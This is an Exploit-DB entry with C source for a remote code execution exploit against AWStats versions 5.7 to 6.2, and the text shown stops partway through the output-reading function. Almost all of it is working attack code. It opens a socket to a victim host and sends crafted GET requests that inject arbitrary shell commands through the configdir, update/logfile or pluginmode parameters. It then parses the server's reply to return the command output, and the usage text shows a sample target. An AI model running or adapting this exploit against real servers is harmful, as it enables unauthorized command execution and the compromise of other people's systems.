Exploit-DB #840
Description: AWStats 5.7 < 6.2 - Multiple Remote
Type: webapps
Platform: cgi
Date: 2005-02-24
Author: Silentium

Exploit:
/****************************************************
*                                                   *
* AWStats v5.7 - v6.2                               *
*                                                   *
* sileAWSxpl                                        *
* This exploit utilize three methods for exploiter  *
* the vulnerability found on AWStats software.      *
* an user can execute remote code on vulnerable     *
* machine, with httpd privileges.                   *
*                                                   *
* References: www.securityfocus.org/bid/12543       *
*                                                   *
*  coded by: Silentium of Anacron Group Italy       *
*      date: 24/02/2005                             *
*    e-mail: anacrongroupitaly[at]autistici[dot]org *
*   my_home: www.autistici.org/anacron-group-italy  *
*                                                   *
* this tool is developed under GPL license          *
* no(c) .:. copyleft                                *
*                                                   *
****************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80                         // port of the web server
#define CMDB 512                        // buffer length for commands
#define BUFF 6000                       // buffer length for output's commands
#define BANSTART "SILENTIUM"
#define BANSTOP  "anacron_group_italy"

void info(void);
void sendxpl(FILE *out, char *argv[], int type);
void readout(int sock, char *argv[]);
void errgeth(void);
void errsock(void);
void errconn(void);
void errsplo(void);
void errbuff(void);

int main(int argc, char *argv[]){

FILE *out;
int sock, sockconn, type;
struct sockaddr_in addr;
struct hostent *hp;

if(argc != 5)
  info();

type = atoi(argv[4]);

if(type < 0 || type > 3)
  info();

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  errsock();

  system("clear");
  printf("[*] Creating socket          [OK]\n");

if((hp = gethostbyname(argv[1])) == NULL)
  errgeth();

  printf("[*] Resolving victim host    [OK]\n");

memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);

sockconn = connect(sock, (struct sockaddr *)&addr, sizeof(addr));
if(sockconn < 0)
  errconn();

  printf("[*] Connecting at victim host   [OK]\n",argv[1]);

out = fdopen(sock,"a");
setbuf(out,NULL);

sendxpl(out, argv, type);

  printf("[*] Sending exploit          [OK]\n");

readout(sock, argv);

shutdown(sock, 2);
close(sock);
fclose(out);

return(0);

}

void info(void){

system("clear");
printf("#########################################\n"
      "# AWStats v5.7 - v6.2                   #\n"
      "# Remote Code Execution                 #\n"
      "# exploit coded by Silentium            #\n"
      "# Anacron Group Italy                   #\n"
      "# www.autistici.org/anacron-group-italy #\n"
      "#########################################\n\n"
      "[Usage]\n\n"
      " sileAWSxpl <victim> <path_awstats> <cmd> <type>\n\n"
      "        [Type]\n"
      "               1) ?configdir=|cmd|\n"
      "               2) ?update=1&logfile=|cmd|\n"
      "               3) ?pluginmode=:system(\"cmd\");\n\n"
      "[example]\n\n"
      " sileAWSxpl www.victim.com /cgi-bin/awstats.pl \"uname -a\" 3\n\n");
exit(1);

}

void sendxpl(FILE *out, char *argv[], int type){

char cmd[CMDB], cmd2[CMDB*3], cc;
char *hex = "[PII_REDACTED]abcdef";
int i, j = 0, size;

size = strlen(argv[3]);
strncpy(cmd,argv[3],size);
/*** Url Encoding Mode ON ***/

for(i = 0; i < size; i++){
   cc = cmd[i];
   if(cc >= 'a' && cc <= 'z'
   || cc >= 'A' && cc <= 'Z'
   || cc >= '0' && cc <= '9'
   || cc == '-' || cc == '_' || cc == '.')
   cmd2[j++] = cc ;
 else{
      cmd2[j++] = '%';
      cmd2[j++] = hex[cc >> 4];
      cmd2[j++] = hex[cc & 0x0f];
     }
}

cmd2[j] = '\0';

/*** Url Encoding Mode OFF ;P ***/

if(type==1)
  fprintf(out,"GET %s?configdir=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n"
              "Connection: Keep-Alive\n"
              "Accept: text/html, image/jpeg, image/png, text/*, image/*,*/*\n"
              "Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
              "Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
              "Accept-Language: en\n"
              "Host: %s\n\n",argv[2],BANSTART,cmd2,BANSTOP,argv[1]);
else if(type==2)
  fprintf(out,"GET %s?update=1&logfile=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n"
              "Connection: Keep-Alive\n"
              "Accept: text/html, image/jpeg, image/png, text/*, image/*,
*/*\n"
              "Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
              "Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
              "Accept-Language: en\n"
              "Host: %s\n\n",argv[2],BANSTART,cmd2,BANSTOP,argv[1]);
else if(type==3)
  fprintf(out,"GET %s?pluginmode=:system(\"echo+%s;%s;echo+%s\"); HTTP/1.0\n"
              "Connection: Keep-Alive\n"
              "Accept: text/html, image/jpeg, image/png, text/*, image/*,
*/*\n"
              "Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
              "Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
              "Accept-Language: en\n"
              "Host: %s\n\n",argv[2],BANSTART,cmd2,BANSTOP,argv[1]);

}

void readout(int sock, char *argv[]){

int i=0, flag;
char output[BUFF], tmp;
printf("[*] Output by %s:\n\n",argv[1]);

while(strstr(output,BANSTART) == NULL){
flag = read(sock,&tmp,1);
output[i++] = tmp;
if(i >= BUFF)
  errbuff();
if(flag==0)
  errsplo();
}
while(strstr(output,BANSTOP) == NULL){
read(sock,&tmp,1);
output[i++] = tmp